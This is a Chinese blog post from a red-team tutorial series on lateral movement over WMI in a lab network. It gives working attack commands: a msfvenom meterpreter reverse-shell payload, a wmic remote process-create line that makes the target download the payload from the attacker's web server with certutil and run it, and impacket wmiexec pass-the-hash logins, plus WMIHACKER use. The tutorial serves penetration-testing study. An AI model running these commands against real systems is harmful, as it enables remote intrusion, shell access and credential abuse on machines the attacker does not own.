前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ATT&CK视角下的红蓝对抗:二十三.横向移动之利用WMI进行横向渗透

ATT&CK视角下的红蓝对抗:二十三.横向移动之利用WMI进行横向渗透

原创
作者头像
一只特立独行的兔先生
发布2023-11-20 21:30:29
3841
发布2023-11-20 21:30:29
举报

前言

WMI即Windows Management Instrumentation,用于管理正在运行的Windows主机。用户利用WMI可以轻松地与系统各类资源进行交互,如打开指定进程、远程启动计算机、设定指定程序在指定时间运行、查询Windows日志等。我们可以把它当作API来与Windows系统进行相互交流。在渗透测试的过程中,WMI的价值就是不需要下载和安装,因为WMI是Windows系统自带的功能,而且整个运行过程都在计算机内存中进行,操作记录不会在Winodws日志中留存。在前面的内容中对WMI有过介绍,因此不过多讲解原理。

三.利用WMI进行横向渗透

WMI即Windows Management Instrumentation,用于管理正在运行的Windows主机。用户利用WMI可以轻松地与系统各类资源进行交互,如打开指定进程、远程启动计算机、设定指定程序在指定时间运行、查询Windows日志等。我们可以把它当作API来与Windows系统进行相互交流。在渗透测试的过程中,WMI的价值就是不需要下载和安装,因为WMI是Windows系统自带的功能,而且整个运行过程都在计算机内存中进行,操作记录不会在Winodws日志中留存。在前面的内容中对WMI有过介绍,因此不过多讲解原理。利用WMI进行横向渗透的拓扑图如图1-1所示,实验环境如表1-1所示。

图1-1 利用WMI进行横向渗透拓扑图
图1-1 利用WMI进行横向渗透拓扑图

表1-1 利用WMI进行横向渗透实验环境

主机

服务类型

IP地址

Kali 2022

攻击机

10.10.10.2

Windows 2012 R2

跳板机

10.10.10.3、192.168.1.2

Windows 2008 R2

核心靶标

10.10.10.4、192.168.1.3

1.WMIC

WMIC是Windows自带的一款用来管理操作WMI的工具。利用该工具可以针对本机进行信息收集,或者当拥有目标凭据后通过该工具远程查询信息。

1). WMIC本机信息收集

通过WMIC,我们可以查询一些系统的基本信息,如果想要查询系统启动项可以使用命令wmic startup list brief或者wmic startup get command,caption,执行结果如图1-2所示。从图中可以看出两条命令都可以查出系统启动项,只不过一个使用list,另一个使用get。

图1-2 获取系统启动项
图1-2 获取系统启动项

如果想要查询当前系统处于运行状态的服务,可以使用wmic service where (state=”running”) get caption, name, startmode命令,执行结果如图1-3所示。

 图1-3 查询处于运行状态的服务
图1-3 查询处于运行状态的服务

如果想要知道当前系统运行什么杀毒软件,可以使用命令wmic /namespace:\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe,执行结果如图1-4所示。

图1-4 获取系统运行杀毒软件
图1-4 获取系统运行杀毒软件

使用命令wmic /namespace:\root\SecurityCenter2 path AntiVirusProduct get * /value,可以进一步获取杀毒软件的详细信息,执行结果如图1-5所示。

图1-5 获取杀毒软件的详细信息
图1-5 获取杀毒软件的详细信息

2). WMIC远程获取Shell

在攻击机上执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.2 LPORT=10090 -f exe > exp.exe命令来生成一个回连攻击机程序,执行结果如图1-6所示。

图1-6 生成回连攻击机程序
图1-6 生成回连攻击机程序

为了后续方便目标主机下载回连攻击机程序,我们可以在攻击机中执行python3 -m http.server 8080命令来搭建一个简单的Web服务器,成功开启该服务器后如图1-7所示。

图1-7 搭建Web服务器
图1-7 搭建Web服务器

在跳板机使用WMIC远程连接目标主机,通过攻击机的Web服务器下载并执行回连攻击机程序,使用命令执行结果如图1-8所示。其中process call create代表创建一个指定进程,这里进程设置为cmd.exe;/c则是cmd.exe的参数,后面用来设置要执行的命令。

代码语言:javascript
复制
wmic /node:10.10.10.4 /user:Administrator /password:Password@123 process call create "cmd.exe /c certutil.exe -urlcache -f -split http://10.10.10.2:8080/exp.exe&&exp.exe"

图1-8 通过WMIC远程执行命令
图1-8 通过WMIC远程执行命令

命令执行成功后,我们将在Web服务器中看到请求,如图1-9所示。而MSF上也将接收到靶标机器的回连,如图1-10所示。

图1-9 Web服务器收到请求
图1-9 Web服务器收到请求
图1-10 成功获取会话
图1-10 成功获取会话

当然,我们也可以通过net use建立IPC$连接的方式,将木马文件复制到目标机器中,随后使用WMIC指定木马路径即可。

2. wmiexec

通过WMIC远程连接去执行命令,命令执行结果将不会回显,但是通过Impacket工具包中的wmiexec.py文件可以获得一个具有交互的shell,使用命令python3 wmiexec.py Administrator:Password@123@10.10.10.4,即可获取到目标的一个交互式会话,如图1-11所示。

图1-11 通过wmiexec进行连接
图1-11 通过wmiexec进行连接

当然wmiexec不仅能通过账号密码进行登录,还可以通过传递哈希值的方式进行登录。已知10.10.10.4的Administrator用户的哈希为a29f7623fd11550def0192de9246f46b,使用命令python3 wmiexec.py -hashes 00000000000000000000000000000000:a29f7623fd11550def0192de9246f46b Administrator@10.10.10.4进行连接,执行结果如图1-12所示,可以看到成功建立交互式会话。

图1-12 通过用户哈希进行连接
图1-12 通过用户哈希进行连接

3.wmiexec.vbs

该工具可以让我们得到回显,使用方法为cscript wmiexec.vbs /cmd 10.10.10.4 Administrator Password@123 whoami,执行结果如图1-13所示。

图1-13 wmiexec.vbs远程执行命令
图1-13 wmiexec.vbs远程执行命令

4.WMICHACKER

WMI是通过135端口建立连接的,WMIEXEC为了使命令进行回显,会将命令执行结果写入文本中,随后通过445端口去查看文本内容,而WMICHACKER可以不通过445端口达到命令回显的效果。对此,使用命令cscript WMIHACKER_0.6.vbs /cmd 10.10.10.4 Administrator "Password@123" whoami 1,执行结果如图1-14所示。

图1-14 WMICHACKER执行命令
图1-14 WMICHACKER执行命令

本篇总结

本文介绍了利用WMI进行横向渗透的方法。WMI是Windows系统自带的功能,用于管理正在运行的Windows主机。通过WMIC工具可以获取系统信息,如启动项、运行状态服务、杀毒软件等。攻击者可以利用WMIC远程获取Shell,通过攻击机搭建Web服务器下载并执行回连攻击机程序。此外,还可以使用wmiexec.py工具获取交互式会话,通过传递哈希值进行登录。wmiexec.vbs工具可以让我们得到回显,而WMICHACKER工具可以不通过445端口达到命令回显的效果

我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
    • 1.WMIC
      • 1). WMIC本机信息收集
      • 2). WMIC远程获取Shell
    • 2. wmiexec
      • 3.wmiexec.vbs
        • 4.WMICHACKER
        • 本篇总结
        相关产品与服务
        网站渗透测试
        网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
        http://www.vxiaotou.com